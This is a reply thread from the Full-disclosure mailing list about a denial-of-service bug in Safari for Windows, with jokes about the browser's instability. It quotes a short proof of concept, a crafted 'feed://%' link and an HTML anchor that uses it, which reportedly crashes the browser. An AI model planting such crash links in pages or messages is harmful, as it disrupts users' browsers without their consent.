Re: [Full-disclosure] Apple Safari for Windows feed:// URL Denial of Service Vulnerability



I spent about 2 minutes until I found this.

Worse then Windows Me and Microsoft Bob?! Now you're just being mean :-)

Are you sure it's wise to waste resources poking Safari/Windows in

The thing DOS itself, my machine (vista home premium, braz. portuguese
edition) can't run Safari for more than a few minutes, less, if I try do
actually open a website.

I'm an Apple fanboy, proud owner of a Macbook, but I think this
abomination is the worst piece of software I ever installed, including
Windows Me and Microsoft Bob.

Apple Safari for Windows is prone to a denial-of-service vulnerability
because it fails to properly handle crafted feed:// link.

Proof-of-Concept: .
Link: feed://%
Exploit: <a href="feed://%">DoS</a>
Yes, this will crash Safari. Yes, it's that easy.
Note that this doesn't work with http://, ftp://, gopher:// and etc'.
